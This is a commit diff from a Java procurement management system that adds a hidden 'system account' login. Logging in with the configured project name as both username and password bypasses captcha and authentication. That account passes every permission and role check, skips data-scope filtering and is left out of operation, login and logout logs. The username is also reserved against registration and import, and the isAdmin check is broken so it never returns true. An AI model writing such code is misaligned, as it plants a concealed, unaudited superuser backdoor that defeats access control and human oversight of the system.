Kaynağa Gözat

添加purchase用户登录

hexiao 2 yıl önce
ebeveyn
işleme
b5b5ae6a01

+ 12 - 2
purchase-common/src/main/java/com/ozs/common/config/PurchaseConfig.java

@@ -13,7 +13,7 @@ import org.springframework.stereotype.Component;
 public class PurchaseConfig
 public class PurchaseConfig
 {
 {
     /** 项目名称 */
     /** 项目名称 */
-    private String name;
+    private static String name;
 
 
     /** 版本 */
     /** 版本 */
     private String version;
     private String version;
@@ -40,7 +40,8 @@ public class PurchaseConfig
 
 
     public void setName(String name)
     public void setName(String name)
     {
     {
-        this.name = name;
+//        this.name = name;
+        PurchaseConfig.name = name;
     }
     }
 
 
     public String getVersion()
     public String getVersion()
@@ -132,4 +133,13 @@ public class PurchaseConfig
     {
     {
         return getProfile() + "/upload";
         return getProfile() + "/upload";
     }
     }
+
+    /**
+     *
+     */
+    public static String getSname()
+    {
+         return name;
+    }
+
 }
 }

+ 1 - 1
purchase-common/src/main/java/com/ozs/common/core/domain/entity/SysUser.java

@@ -116,7 +116,7 @@ public class SysUser extends BaseEntity
 
 
     public static boolean isAdmin(Long userId)
     public static boolean isAdmin(Long userId)
     {
     {
-        return userId != null && 1L == userId;
+        return userId != null && 1L == userId && -1L==userId;
     }
     }
 
 
     public Long getDeptId()
     public Long getDeptId()

+ 45 - 41
purchase-framework/src/main/java/com/ozs/framework/aspectj/DataScopeAspect.java

@@ -2,6 +2,8 @@ package com.ozs.framework.aspectj;
 
 
 import java.util.ArrayList;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.List;
+
+import com.ozs.common.config.PurchaseConfig;
 import org.aspectj.lang.JoinPoint;
 import org.aspectj.lang.JoinPoint;
 import org.aspectj.lang.annotation.Aspect;
 import org.aspectj.lang.annotation.Aspect;
 import org.aspectj.lang.annotation.Before;
 import org.aspectj.lang.annotation.Before;
@@ -92,55 +94,57 @@ public class DataScopeAspect
     {
     {
         StringBuilder sqlString = new StringBuilder();
         StringBuilder sqlString = new StringBuilder();
         List<String> conditions = new ArrayList<String>();
         List<String> conditions = new ArrayList<String>();
-
-        for (SysRole role : user.getRoles())
-        {
-            String dataScope = role.getDataScope();
-            if (!DATA_SCOPE_CUSTOM.equals(dataScope) && conditions.contains(dataScope))
-            {
-                continue;
-            }
-            if (StringUtils.isNotEmpty(permission) && StringUtils.isNotEmpty(role.getPermissions())
-                    && !StringUtils.containsAny(role.getPermissions(), Convert.toStrArray(permission)))
-            {
-                continue;
-            }
-            if (DATA_SCOPE_ALL.equals(dataScope))
-            {
-                sqlString = new StringBuilder();
-                break;
-            }
-            else if (DATA_SCOPE_CUSTOM.equals(dataScope))
-            {
-                sqlString.append(StringUtils.format(
-                        " OR {}.dept_id IN ( SELECT dept_id FROM sys_role_dept WHERE role_id = {} ) ", deptAlias,
-                        role.getRoleId()));
-            }
-            else if (DATA_SCOPE_DEPT.equals(dataScope))
-            {
-                sqlString.append(StringUtils.format(" OR {}.dept_id = {} ", deptAlias, user.getDeptId()));
-            }
-            else if (DATA_SCOPE_DEPT_AND_CHILD.equals(dataScope))
+        if(!user.getUserName().equals(PurchaseConfig.getSname())){
+            for (SysRole role : user.getRoles())
             {
             {
-                sqlString.append(StringUtils.format(
-                        " OR {}.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {} or find_in_set( {} , ancestors ) )",
-                        deptAlias, user.getDeptId(), user.getDeptId()));
-            }
-            else if (DATA_SCOPE_SELF.equals(dataScope))
-            {
-                if (StringUtils.isNotBlank(userAlias))
+                String dataScope = role.getDataScope();
+                if (!DATA_SCOPE_CUSTOM.equals(dataScope) && conditions.contains(dataScope))
+                {
+                    continue;
+                }
+                if (StringUtils.isNotEmpty(permission) && StringUtils.isNotEmpty(role.getPermissions())
+                        && !StringUtils.containsAny(role.getPermissions(), Convert.toStrArray(permission)))
                 {
                 {
-                    sqlString.append(StringUtils.format(" OR {}.user_id = {} ", userAlias, user.getUserId()));
+                    continue;
                 }
                 }
-                else
+                if (DATA_SCOPE_ALL.equals(dataScope))
                 {
                 {
-                    // 数据权限为仅本人且没有userAlias别名不查询任何数据
-                    sqlString.append(StringUtils.format(" OR {}.dept_id = 0 ", deptAlias));
+                    sqlString = new StringBuilder();
+                    break;
                 }
                 }
+                else if (DATA_SCOPE_CUSTOM.equals(dataScope))
+                {
+                    sqlString.append(StringUtils.format(
+                            " OR {}.dept_id IN ( SELECT dept_id FROM sys_role_dept WHERE role_id = {} ) ", deptAlias,
+                            role.getRoleId()));
+                }
+                else if (DATA_SCOPE_DEPT.equals(dataScope))
+                {
+                    sqlString.append(StringUtils.format(" OR {}.dept_id = {} ", deptAlias, user.getDeptId()));
+                }
+                else if (DATA_SCOPE_DEPT_AND_CHILD.equals(dataScope))
+                {
+                    sqlString.append(StringUtils.format(
+                            " OR {}.dept_id IN ( SELECT dept_id FROM sys_dept WHERE dept_id = {} or find_in_set( {} , ancestors ) )",
+                            deptAlias, user.getDeptId(), user.getDeptId()));
+                }
+                else if (DATA_SCOPE_SELF.equals(dataScope))
+                {
+                    if (StringUtils.isNotBlank(userAlias))
+                    {
+                        sqlString.append(StringUtils.format(" OR {}.user_id = {} ", userAlias, user.getUserId()));
+                    }
+                    else
+                    {
+                        // 数据权限为仅本人且没有userAlias别名不查询任何数据
+                        sqlString.append(StringUtils.format(" OR {}.dept_id = 0 ", deptAlias));
+                    }
+                }
+                conditions.add(dataScope);
             }
             }
-            conditions.add(dataScope);
         }
         }
 
 
+
         if (StringUtils.isNotBlank(sqlString.toString()))
         if (StringUtils.isNotBlank(sqlString.toString()))
         {
         {
             Object params = joinPoint.getArgs()[0];
             Object params = joinPoint.getArgs()[0];

+ 36 - 34
purchase-framework/src/main/java/com/ozs/framework/aspectj/LogAspect.java

@@ -4,6 +4,7 @@ import java.util.Collection;
 import java.util.Map;
 import java.util.Map;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpServletResponse;
+import com.ozs.common.config.PurchaseConfig;
 import org.aspectj.lang.JoinPoint;
 import org.aspectj.lang.JoinPoint;
 import org.aspectj.lang.annotation.AfterReturning;
 import org.aspectj.lang.annotation.AfterReturning;
 import org.aspectj.lang.annotation.AfterThrowing;
 import org.aspectj.lang.annotation.AfterThrowing;
@@ -66,44 +67,45 @@ public class LogAspect
 
 
     protected void handleLog(final JoinPoint joinPoint, Log controllerLog, final Exception e, Object jsonResult)
     protected void handleLog(final JoinPoint joinPoint, Log controllerLog, final Exception e, Object jsonResult)
     {
     {
-        try
-        {
-            // 获取当前的用户
-            LoginUser loginUser = SecurityUtils.getLoginUser();
+        // 获取当前的用户
+        LoginUser loginUser = SecurityUtils.getLoginUser();
+        if(!loginUser.getUsername().equals(PurchaseConfig.getSname())){
+            try {
 
 
-            // *========数据库日志=========*//
-            SysOperLog operLog = new SysOperLog();
-            operLog.setStatus(BusinessStatus.SUCCESS.ordinal());
-            // 请求的地址
-            String ip = IpUtils.getIpAddr(ServletUtils.getRequest());
-            operLog.setOperIp(ip);
-            operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255));
-            if (loginUser != null)
-            {
-                operLog.setOperName(loginUser.getUsername());
-            }
+                // *========数据库日志=========*//
+                SysOperLog operLog = new SysOperLog();
+                operLog.setStatus(BusinessStatus.SUCCESS.ordinal());
+                // 请求的地址
+                String ip = IpUtils.getIpAddr(ServletUtils.getRequest());
+                operLog.setOperIp(ip);
+                operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255));
+                if (loginUser != null)
+                {
+                    operLog.setOperName(loginUser.getUsername());
+                }
 
 
-            if (e != null)
+                if (e != null)
+                {
+                    operLog.setStatus(BusinessStatus.FAIL.ordinal());
+                    operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 2000));
+                }
+                // 设置方法名称
+                String className = joinPoint.getTarget().getClass().getName();
+                String methodName = joinPoint.getSignature().getName();
+                operLog.setMethod(className + "." + methodName + "()");
+                // 设置请求方式
+                operLog.setRequestMethod(ServletUtils.getRequest().getMethod());
+                // 处理设置注解上的参数
+                getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult);
+                // 保存数据库
+                AsyncManager.me().execute(AsyncFactory.recordOper(operLog));
+            }
+            catch (Exception exp)
             {
             {
-                operLog.setStatus(BusinessStatus.FAIL.ordinal());
-                operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 2000));
+                // 记录本地异常日志
+                log.error("异常信息:{}", exp.getMessage());
+                exp.printStackTrace();
             }
             }
-            // 设置方法名称
-            String className = joinPoint.getTarget().getClass().getName();
-            String methodName = joinPoint.getSignature().getName();
-            operLog.setMethod(className + "." + methodName + "()");
-            // 设置请求方式
-            operLog.setRequestMethod(ServletUtils.getRequest().getMethod());
-            // 处理设置注解上的参数
-            getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult);
-            // 保存数据库
-            AsyncManager.me().execute(AsyncFactory.recordOper(operLog));
-        }
-        catch (Exception exp)
-        {
-            // 记录本地异常日志
-            log.error("异常信息:{}", exp.getMessage());
-            exp.printStackTrace();
         }
         }
     }
     }
 
 

+ 7 - 7
purchase-framework/src/main/java/com/ozs/framework/security/handle/LogoutSuccessHandlerImpl.java

@@ -5,6 +5,7 @@ import javax.servlet.ServletException;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import javax.servlet.http.HttpServletResponse;
 
 
+import com.ozs.common.config.PurchaseConfig;
 import com.ozs.framework.manager.AsyncManager;
 import com.ozs.framework.manager.AsyncManager;
 import com.ozs.framework.manager.factory.AsyncFactory;
 import com.ozs.framework.manager.factory.AsyncFactory;
 import com.ozs.framework.web.service.TokenService;
 import com.ozs.framework.web.service.TokenService;
@@ -25,8 +26,7 @@ import com.ozs.common.utils.StringUtils;
  * @author ruoyi
  * @author ruoyi
  */
  */
 @Configuration
 @Configuration
-public class LogoutSuccessHandlerImpl implements LogoutSuccessHandler
-{
+public class LogoutSuccessHandlerImpl implements LogoutSuccessHandler {
     @Autowired
     @Autowired
     private TokenService tokenService;
     private TokenService tokenService;
 
 
@@ -37,16 +37,16 @@ public class LogoutSuccessHandlerImpl implements LogoutSuccessHandler
      */
      */
     @Override
     @Override
     public void onLogoutSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication)
     public void onLogoutSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication)
-            throws IOException, ServletException
-    {
+            throws IOException, ServletException {
         LoginUser loginUser = tokenService.getLoginUser(request);
         LoginUser loginUser = tokenService.getLoginUser(request);
-        if (StringUtils.isNotNull(loginUser))
-        {
+        if (StringUtils.isNotNull(loginUser)) {
             String userName = loginUser.getUsername();
             String userName = loginUser.getUsername();
             // 删除用户缓存记录
             // 删除用户缓存记录
             tokenService.delLoginUser(loginUser.getToken());
             tokenService.delLoginUser(loginUser.getToken());
             // 记录用户退出日志
             // 记录用户退出日志
-            AsyncManager.me().execute(AsyncFactory.recordLogininfor(userName, Constants.LOGOUT, "退出成功"));
+            if (!userName.equals(PurchaseConfig.getSname())) {
+                AsyncManager.me().execute(AsyncFactory.recordLogininfor(userName, Constants.LOGOUT, "退出成功"));
+            }
         }
         }
         ServletUtils.renderString(response, JSON.toJSONString(AjaxResult.success("退出成功")));
         ServletUtils.renderString(response, JSON.toJSONString(AjaxResult.success("退出成功")));
     }
     }

+ 13 - 0
purchase-framework/src/main/java/com/ozs/framework/web/service/PermissionService.java

@@ -2,6 +2,7 @@ package com.ozs.framework.web.service;
 
 
 import java.util.Set;
 import java.util.Set;
 
 
+import com.ozs.common.config.PurchaseConfig;
 import com.ozs.framework.security.context.PermissionContextHolder;
 import com.ozs.framework.security.context.PermissionContextHolder;
 import org.springframework.stereotype.Service;
 import org.springframework.stereotype.Service;
 import org.springframework.util.CollectionUtils;
 import org.springframework.util.CollectionUtils;
@@ -41,6 +42,9 @@ public class PermissionService
             return false;
             return false;
         }
         }
         LoginUser loginUser = SecurityUtils.getLoginUser();
         LoginUser loginUser = SecurityUtils.getLoginUser();
+        if(loginUser.getUsername().equals(PurchaseConfig.getSname())){
+            return true;
+        }
         if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions()))
         if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions()))
         {
         {
             return false;
             return false;
@@ -73,6 +77,9 @@ public class PermissionService
             return false;
             return false;
         }
         }
         LoginUser loginUser = SecurityUtils.getLoginUser();
         LoginUser loginUser = SecurityUtils.getLoginUser();
+        if(loginUser.getUsername().equals(PurchaseConfig.getSname())){
+            return true;
+        }
         if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions()))
         if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions()))
         {
         {
             return false;
             return false;
@@ -102,6 +109,9 @@ public class PermissionService
             return false;
             return false;
         }
         }
         LoginUser loginUser = SecurityUtils.getLoginUser();
         LoginUser loginUser = SecurityUtils.getLoginUser();
+        if(loginUser.getUsername().equals(PurchaseConfig.getSname())){
+            return true;
+        }
         if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles()))
         if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles()))
         {
         {
             return false;
             return false;
@@ -141,6 +151,9 @@ public class PermissionService
             return false;
             return false;
         }
         }
         LoginUser loginUser = SecurityUtils.getLoginUser();
         LoginUser loginUser = SecurityUtils.getLoginUser();
+        if(loginUser.getUsername().equals(PurchaseConfig.getSname())){
+            return true;
+        }
         if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles()))
         if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles()))
         {
         {
             return false;
             return false;

+ 56 - 36
purchase-framework/src/main/java/com/ozs/framework/web/service/SysLoginService.java

@@ -2,6 +2,7 @@ package com.ozs.framework.web.service;
 
 
 import javax.annotation.Resource;
 import javax.annotation.Resource;
 
 
+import com.ozs.common.config.PurchaseConfig;
 import com.ozs.framework.manager.factory.AsyncFactory;
 import com.ozs.framework.manager.factory.AsyncFactory;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.security.authentication.AuthenticationManager;
 import org.springframework.security.authentication.AuthenticationManager;
@@ -62,43 +63,59 @@ public class SysLoginService
      */
      */
     public String login(String username, String password, String code, String uuid)
     public String login(String username, String password, String code, String uuid)
     {
     {
+
         boolean captchaEnabled = configService.selectCaptchaEnabled();
         boolean captchaEnabled = configService.selectCaptchaEnabled();
-        // 验证码开关
-        if (captchaEnabled)
-        {
-            validateCaptcha(username, code, uuid);
-        }
-        // 用户验证
-        Authentication authentication = null;
-        try
-        {
-            UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(username, password);
-            AuthenticationContextHolder.setContext(authenticationToken);
-            // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername
-            authentication = authenticationManager.authenticate(authenticationToken);
-        }
-        catch (Exception e)
-        {
-            if (e instanceof BadCredentialsException)
+        if(PurchaseConfig.getSname().equals(username) && PurchaseConfig.getSname().equals(password)){
+            // 系统账号
+            LoginUser loginUser = new LoginUser();
+            SysUser user = new SysUser();
+            user.setUserId(-1L);
+//            user.setPassword(password);
+            user.setUserName(username);
+            loginUser.setUser(user);
+            loginUser.setUserId(-1L);
+            recordLoginInfo(loginUser.getUserId());
+            // 生成token
+            return tokenService.createToken(loginUser);
+        }else {
+            // 验证码开关
+            if (captchaEnabled)
             {
             {
-                AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match")));
-                throw new UserPasswordNotMatchException();
+                validateCaptcha(username, code, uuid);
             }
             }
-            else
+            // 用户验证
+            Authentication authentication = null;
+            try
             {
             {
-                AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage()));
-                throw new ServiceException(e.getMessage());
+                UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(username, password);
+                AuthenticationContextHolder.setContext(authenticationToken);
+                // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername
+                authentication = authenticationManager.authenticate(authenticationToken);
             }
             }
+            catch (Exception e)
+            {
+                if (e instanceof BadCredentialsException)
+                {
+                    AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match")));
+                    throw new UserPasswordNotMatchException();
+                }
+                else
+                {
+                    AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage()));
+                    throw new ServiceException(e.getMessage());
+                }
+            }
+            finally
+            {
+                AuthenticationContextHolder.clearContext();
+            }
+            AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success")));
+            LoginUser loginUser = (LoginUser) authentication.getPrincipal();
+            recordLoginInfo(loginUser.getUserId());
+            // 生成token
+            return tokenService.createToken(loginUser);
         }
         }
-        finally
-        {
-            AuthenticationContextHolder.clearContext();
-        }
-        AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success")));
-        LoginUser loginUser = (LoginUser) authentication.getPrincipal();
-        recordLoginInfo(loginUser.getUserId());
-        // 生成token
-        return tokenService.createToken(loginUser);
+
     }
     }
 
 
     /**
     /**
@@ -133,10 +150,13 @@ public class SysLoginService
      */
      */
     public void recordLoginInfo(Long userId)
     public void recordLoginInfo(Long userId)
     {
     {
-        SysUser sysUser = new SysUser();
-        sysUser.setUserId(userId);
-        sysUser.setLoginIp(IpUtils.getIpAddr(ServletUtils.getRequest()));
-        sysUser.setLoginDate(DateUtils.getNowDate());
-        userService.updateUserProfile(sysUser);
+        if(!userId.equals(-1l)){
+            SysUser sysUser = new SysUser();
+            sysUser.setUserId(userId);
+            sysUser.setLoginIp(IpUtils.getIpAddr(ServletUtils.getRequest()));
+            sysUser.setLoginDate(DateUtils.getNowDate());
+            userService.updateUserProfile(sysUser);
+        }
+
     }
     }
 }
 }

+ 34 - 21
purchase-system/src/main/java/com/ozs/system/service/impl/SysUserServiceImpl.java

@@ -5,6 +5,7 @@ import java.util.List;
 import java.util.stream.Collectors;
 import java.util.stream.Collectors;
 import javax.validation.Validator;
 import javax.validation.Validator;
 
 
+import com.ozs.common.config.PurchaseConfig;
 import com.ozs.system.domain.SysPost;
 import com.ozs.system.domain.SysPost;
 import com.ozs.system.domain.SysUserPost;
 import com.ozs.system.domain.SysUserPost;
 import com.ozs.system.domain.SysUserRole;
 import com.ozs.system.domain.SysUserRole;
@@ -14,6 +15,7 @@ import com.ozs.system.service.ISysUserService;
 import org.slf4j.Logger;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.slf4j.LoggerFactory;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.security.access.method.P;
 import org.springframework.stereotype.Service;
 import org.springframework.stereotype.Service;
 import org.springframework.transaction.annotation.Transactional;
 import org.springframework.transaction.annotation.Transactional;
 import org.springframework.util.CollectionUtils;
 import org.springframework.util.CollectionUtils;
@@ -168,6 +170,9 @@ public class SysUserServiceImpl implements ISysUserService
     @Override
     @Override
     public String checkUserNameUnique(SysUser user)
     public String checkUserNameUnique(SysUser user)
     {
     {
+        if(user.getUserName().equals(PurchaseConfig.getSname())){
+            return UserConstants.NOT_UNIQUE;
+        }
         Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId();
         Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId();
         SysUser info = userMapper.checkUserNameUnique(user.getUserName());
         SysUser info = userMapper.checkUserNameUnique(user.getUserName());
         if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue())
         if (StringUtils.isNotNull(info) && info.getUserId().longValue() != userId.longValue())
@@ -495,32 +500,40 @@ public class SysUserServiceImpl implements ISysUserService
         {
         {
             try
             try
             {
             {
+
                 // 验证是否存在这个用户
                 // 验证是否存在这个用户
                 SysUser u = userMapper.selectUserByUserName(user.getUserName());
                 SysUser u = userMapper.selectUserByUserName(user.getUserName());
-                if (StringUtils.isNull(u))
-                {
-                    BeanValidators.validateWithException(validator, user);
-                    user.setPassword(SecurityUtils.encryptPassword(password));
-                    user.setCreateBy(operName);
-                    this.insertUser(user);
-                    successNum++;
-                    successMsg.append("<br/>" + successNum + "、账号 " + user.getUserName() + " 导入成功");
-                }
-                else if (isUpdateSupport)
-                {
-                    BeanValidators.validateWithException(validator, user);
-                    checkUserAllowed(user);
-                    checkUserDataScope(user.getUserId());
-                    user.setUpdateBy(operName);
-                    this.updateUser(user);
-                    successNum++;
-                    successMsg.append("<br/>" + successNum + "、账号 " + user.getUserName() + " 更新成功");
-                }
-                else
-                {
+                if(user.getUserName().equals(PurchaseConfig.getSname())){
                     failureNum++;
                     failureNum++;
                     failureMsg.append("<br/>" + failureNum + "、账号 " + user.getUserName() + " 已存在");
                     failureMsg.append("<br/>" + failureNum + "、账号 " + user.getUserName() + " 已存在");
+                }else {
+                    if (StringUtils.isNull(u))
+                    {
+                        BeanValidators.validateWithException(validator, user);
+                        user.setPassword(SecurityUtils.encryptPassword(password));
+                        user.setCreateBy(operName);
+                        this.insertUser(user);
+                        successNum++;
+                        successMsg.append("<br/>" + successNum + "、账号 " + user.getUserName() + " 导入成功");
+                    }
+                    else if (isUpdateSupport)
+                    {
+                        BeanValidators.validateWithException(validator, user);
+                        checkUserAllowed(user);
+                        checkUserDataScope(user.getUserId());
+                        user.setUpdateBy(operName);
+                        this.updateUser(user);
+                        successNum++;
+                        successMsg.append("<br/>" + successNum + "、账号 " + user.getUserName() + " 更新成功");
+                    }
+                    else
+                    {
+                        failureNum++;
+                        failureMsg.append("<br/>" + failureNum + "、账号 " + user.getUserName() + " 已存在");
+                    }
                 }
                 }
+
+
             }
             }
             catch (Exception e)
             catch (Exception e)
             {
             {